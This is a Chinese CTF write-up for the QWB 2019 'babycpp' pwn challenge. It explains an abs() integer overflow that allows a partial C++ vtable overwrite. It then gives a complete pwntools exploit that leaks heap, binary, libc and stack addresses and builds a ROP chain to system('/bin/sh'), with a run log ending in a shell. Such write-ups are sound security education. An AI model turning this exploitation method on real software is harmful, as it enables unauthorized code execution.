强网杯2019 pwn babycpp writeup

TOC

  1. 1. 安全防护
  2. 2. 溢出点
  3. 3. 思路
    1. 3.1. 部分覆盖改vtable
    2. 3.2. 构造结构任意读写
  4. 4. 完整代码

C++的虚表攻击。

源程序、相关文件下载:babycpp.zip

安全防护

ex@Ex:~/test$ checksec babycpp
[*] '/home/ex/test/babycpp'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

溢出点

update函数,有个典型的abs漏洞,直接输入0x80000000就可以导致abs负数溢出,然后我们就可以直接修改C++中的虚表。

void __fastcall update(container *arg)
{
int index; // [rsp+10h] [rbp-20h]
int v2; // [rsp+14h] [rbp-1Ch]
int i; // [rsp+18h] [rbp-18h]
int v4; // [rsp+1Ch] [rbp-14h]
char s[8]; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
memset(s, 0, 8uLL);
printf("Input idx:", 0LL);
scanf("%u", &index);
printf("Input hash:");
v4 = read(0, s, 0x10uLL);
v2 = abs(index) % 15;
for ( i = 0; i < v4; ++i )
{
if ( v2 + i == 16 )
v2 = 0;
arg->hash[v2 + i] = s[i];
}
}

思路

  1. 部分覆盖改vtable
  2. 构造结构任意读写

部分覆盖改vtable

题目出的最好的地方就是这里,我们可以利用上面的漏洞来使得int arraystring array的功能互搭。

new_array(1)
update('\0\0', 0, '0')

new_array(2)
update('\x01\0', 0, '1')

new_array(2)
update('\x02\0', 0, '2')


set_string('2', 0, 0x18, 'a' * 8)

if(len(sys.argv) > 1):
value = hook + 0x201CE0
value = chr((value & 0xFF00) >> 8) + chr(value & 0xFF)
update('2', 0x80000000, value[::-1])
else:
update('2', 0x80000000, hypothetical_int_vtable[::-1])

# leak heap addr
show_int('2', 0)
result = int(sh.readline(), 16)
heap_addr = result - 0x124c0
log.success("heap_addr: " + hex(heap_addr))

原本在malloc_ptr上的是chunk的指针,但是当吧int array转为string array后,我们就能利用show_int来泄漏heap地址。

构造结构任意读写

container_0_addr = heap_addr + 0x12280
container_0_malloc_ptr_addr = container_0_addr + 0x20


container_2_malloc_ptr_addr = heap_addr + 0x12430
set_int('2', 0, container_2_malloc_ptr_addr + 0x10) # struct string
set_int('2', 2, container_0_malloc_ptr_addr) # ptr
set_int('2', 3, 0x100) # size



if(len(sys.argv) > 1):
value = hook + 0x201D00
value = chr((value & 0xFF00) >> 8) + chr(value & 0xFF)
update('2', 0x80000000, value[::-1])
else:
update('2', 0x80000000, hypothetical_string_vtable[::-1])

通过构造string array结构,使其可以控制ptr[0].malloc_ptr,这样我们就能实现任意地址读写。

运行结果:

pwndbg> pr
$1 = {
vtable = 0x555ead482ce0,
hash = "0", '\000' <repeats 14 times>,
field_18 = 0x10,
malloc_ptr = 0x555eadb542b0 ""
}
$2 = {
vtable = 0x555ead482d00,
hash = "1", '\000' <repeats 14 times>,
field_18 = 0x10,
malloc_ptr = 0x555eadb54370 ""
}
$3 = {
vtable = 0x555ead482d00,
hash = "2", '\000' <repeats 14 times>,
field_18 = 0x10,
malloc_ptr = 0x555eadb54430 "@D\265\255^U"
}
pwndbg> x/4gx 0x555eadb54430
0x555eadb54430: 0x0000555eadb54440 0x0000000000000000
0x555eadb54440: 0x0000555eadb542a0 0x0000000000000100
pwndbg> p/x &($ptr[0].malloc_ptr)
$4 = 0x555eadb542a0

完整代码

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
#include <stdio.h>
#include <dlfcn.h>

void _init()
{
printf("%p\\n", *(void **)dlopen(NULL, 1));
}

struct container
{
void **vtable;
char hash[16];
void *field_18;
char *malloc_ptr;
};
struct container no_use;
'''

f = open('/tmp/gdb_symbols.c', 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
os.system('gcc -fPIC -shared -g /tmp/gdb_symbols.c -c -o /tmp/gdb_symbols.o && ld -shared -ldl /tmp/gdb_symbols.o -o /tmp/gdb_symbols.so')
except Exception as e:
print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './babycpp'
sh = 0
if(len(sys.argv) > 1):
sh = process(execve_file, env={"LD_PRELOAD": "/tmp/gdb_symbols.so"})
else:
sh = process(execve_file)

elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')

# Create temporary files for GDB debugging
try:
gdbscript = '''
set $image_base=$rebase(0)
set $ptr=(struct container **)$rebase(0x202060)

define of
p/x $arg0-$image_base
end

define pr
set $temp=$ptr
while *$temp
p **$temp
set $temp=$temp+1
end
end

define pm
p/x $image_base
end

b *$rebase(0x1508)
'''

f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdbscript', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def new_array(_type):
sh.sendlineafter('Your choice:', '0')
sh.sendlineafter('Your choice:', str(_type))

def update(old_hash, index, new_hash):
sh.sendlineafter('Your choice:', '3')
sh.sendafter('Input array hash:', old_hash)
sh.sendlineafter('Input idx:', str(index))
sh.sendafter('Input hash:', new_hash)

def set_string(hash, index, length, content):
sh.sendlineafter('Your choice:', '2')
sh.sendafter('Input array hash:', hash)
sh.sendlineafter('Input idx:', str(index))
if(length != None):
sh.sendlineafter('Input the len of the obj:', str(length))
sh.sendafter('Input your content:', content)

def show_string(hash, index):
sh.sendlineafter('Your choice:', '1')
sh.sendafter('Input array hash:', hash)
sh.sendlineafter('Input idx:', str(index))
sh.recvuntil('Content:')

def show_int(hash, index):
sh.sendlineafter('Your choice:', '1')
sh.sendafter('Input array hash:', hash)
sh.sendlineafter('Input idx:', str(index))
sh.recvuntil('The value in the array is ')

def set_int(hash, index, value):
sh.sendlineafter('Your choice:', '2')
sh.sendafter('Input array hash:', hash)
sh.sendlineafter('Input idx:', str(index))
sh.sendlineafter('Input val:', '%lx' % (value))

hook = 0
hypothetical_int_vtable = '\x1c\xe0'
hypothetical_string_vtable = '\x1d\x00'

if(len(sys.argv) > 1):
hook = int(sh.readline(), 16)
log.info('hook: ' + hex(hook))

new_array(1)
update('\0\0', 0, '0')

new_array(2)
update('\x01\0', 0, '1')

new_array(2)
update('\x02\0', 0, '2')


set_string('2', 0, 0x18, 'a' * 8)

if(len(sys.argv) > 1):
value = hook + 0x201CE0
value = chr((value & 0xFF00) >> 8) + chr(value & 0xFF)
update('2', 0x80000000, value[::-1])
else:
update('2', 0x80000000, hypothetical_int_vtable[::-1])

# leak heap addr
show_int('2', 0)
result = int(sh.readline(), 16)
heap_addr = result - 0x124c0
log.success("heap_addr: " + hex(heap_addr))

container_0_addr = heap_addr + 0x12280
container_0_malloc_ptr_addr = container_0_addr + 0x20


container_2_malloc_ptr_addr = heap_addr + 0x12430
set_int('2', 0, container_2_malloc_ptr_addr + 0x10) # struct string
set_int('2', 2, container_0_malloc_ptr_addr) # ptr
set_int('2', 3, 0x100) # size



if(len(sys.argv) > 1):
value = hook + 0x201D00
value = chr((value & 0xFF00) >> 8) + chr(value & 0xFF)
update('2', 0x80000000, value[::-1])
else:
update('2', 0x80000000, hypothetical_string_vtable[::-1])

set_string('2', 0, None, p64(container_0_addr))
show_int('0', 0)
result = int(sh.readline(), 16)
image_base_addr = result - 0x201ce0
log.success("image_base_addr: " + hex(image_base_addr))

set_string('2', 0, None, p64(image_base_addr + elf.got['puts']))
show_int('0', 0)
result = int(sh.readline(), 16)
libc_addr = result - libc.symbols['puts']
log.success("libc_addr: " + hex(libc_addr))

set_string('2', 0, None, p64(libc_addr + libc.symbols['environ']))
show_int('0', 0)
stack_addr = int(sh.readline(), 16)
log.success("stack_addr: " + hex(stack_addr))

main_ret_addr = stack_addr - 0xf0
set_string('2', 0, None, p64(main_ret_addr))

# 0x0000000000001693 : pop rdi ; ret
pop_rdi_ret = 0x0000000000001693
# 0x0000000000000a4e : ret
ret_addr = 0x0000000000000a4e
set_int('0', 0, image_base_addr + ret_addr)
set_int('0', 1, image_base_addr + pop_rdi_ret)
set_int('0', 2, libc_addr + libc.search('/bin/sh\0').next())
set_int('0', 3, libc_addr + libc.symbols['system'])

set_int('0', 4, image_base_addr + pop_rdi_ret)
set_int('0', 5, 0)
set_int('0', 6, libc_addr + libc.symbols['exit'])

# exit
sh.sendlineafter('Your choice:', '4')

sh.interactive()

运行实例:

pwndbg> q
Detaching from program: /home/ex/test/babycpp, process 19216
ex@Ex:~/test$ ./exp.sh
times 1

[+] Starting local process './babycpp': pid 19325
[*] '/home/ex/test/babycpp'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ex/test/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Process './babycpp' stopped with exit code -11 (SIGSEGV) (pid 19325)
times 2

[+] Starting local process './babycpp': pid 19343
[*] '/home/ex/test/babycpp'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ex/test/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Process './babycpp' stopped with exit code -11 (SIGSEGV) (pid 19343)
times 3

[+] Starting local process './babycpp': pid 19361
[*] '/home/ex/test/babycpp'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ex/test/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Process './babycpp' stopped with exit code -11 (SIGSEGV) (pid 19361)
times 4

[+] Starting local process './babycpp': pid 19454
[*] '/home/ex/test/babycpp'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ex/test/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] heap_addr: 0x55643e34dbf0
[+] image_base_addr: 0x55643c160000
[+] libc_addr: 0x7f81e15e8000
[+] stack_addr: 0x7ffee2fee1d8
[*] Switching to interactive mode
Bye!
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$